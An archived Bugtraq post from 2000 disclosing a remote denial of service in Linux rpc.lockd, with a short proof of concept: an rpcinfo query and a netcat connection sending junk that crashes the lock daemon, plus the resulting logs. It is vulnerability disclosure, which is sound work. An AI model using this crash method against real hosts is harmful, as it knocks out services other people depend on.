5181677 2000-06-10 11:06 /96 rader/ Postmaster Mottagare: Bugtraq (import) <11253> Ärende: Remote DOS in linux rpc.lockd ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Message-ID: <XFMail.20000608153842.mmurray@fscinternet.com> Date: Thu, 8 Jun 2000 15:38:42 -0400 Reply-To: mmurray@FSCINTERNET.COM Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: mmurray@FSCINTERNET.COM To: BUGTRAQ@SECURITYFOCUS.COM -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, all... Found what appears to be a remote DOS in the linux kernel code for NFS lockd. Only requires a restart of the service, but the port stays bound (in a iclose_wait) state for what appears to be an indefinite time. I have only tested this in RedHat 6.1 and 6.2 (that is, kernel 2.2.12 and 2.2.14), but I see no reason why it will not be present in other configurations of both the same kernel (and likely earlier kernels). The proof of concept is really simple: If you have port access (i.e. you are able to send packets to whatever port rpc.lockd is running on) to a Redhat 6.2 machine running rpc.lockd (enabled by the default install), you can forcibly stop rpc.lockd from responding on that machine. The lockd crashes whenever any malformed request is issued to it over its tcp channel; thus, if you simply connect to the tcp port that lockd is listening on, and hit 'return', and log out, you will have crashed lockd. As an example, from a root prompt on my laptop, I issued the following (where "target" is a machine running a fresh install of RH 6.2 up2date): [root@hiro /]# rpcinfo -p target program vers proto port 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100021 1 udp 1024 nlockmgr 100021 3 udp 1024 nlockmgr 100021 1 tcp 1024 nlockmgr 100021 3 tcp 1024 nlockmgr 100024 1 udp 831 status 100024 1 tcp 833 status [root@hiro /]# nc -p 1000 target 1024 alksdjfalskdjfsdafs Here, I issued a Ctrl-C to get out of netcat, and got: punt! [root@hiro /]# [root@hiro /]# rpcinfo -p target program vers proto port 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 831 status 100024 1 tcp 833 status [root@hiro /]# In the victim's /var/log/messages, the following message was written: June 7 15:07:48 target kernel: RPC: bad TCP reclen 616c6b73<4>lockd: terminating on error 5 June 7 15:07:48 target kernel: svc: server socket destroy delayed (sk_inuse: 1) As well, even with a restart of lockd, the original port (1024) isn't ever freed (it stays in CLOSE_WAIT) as far as I can tell (although I'm about to go out for lunch, return, and check then). As you can see, the service is no longer present after the port has been connected to. Mike ____________________________________ Mike Murray Internetworking Specialist / Blueshirt Developer Apt 1402 666 Spadina Ave Toronto, Ont M5S 2H8 Email: Mike.Murray@utoronto.ca / orestes@dorian.2y.net Phone: (416) 323-3160 ___________________________________ -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.2 iQA/AwUBOT/2QLpfrcrUemrPEQIG1wCcDXrocTe7bG2ojfnOy2ObuUWvv0YAniFY SLLeY1DuNtYSiOSrpCedba2w =AafA -----END PGP SIGNATURE----- (5181677) ------------------------------------------(Ombruten)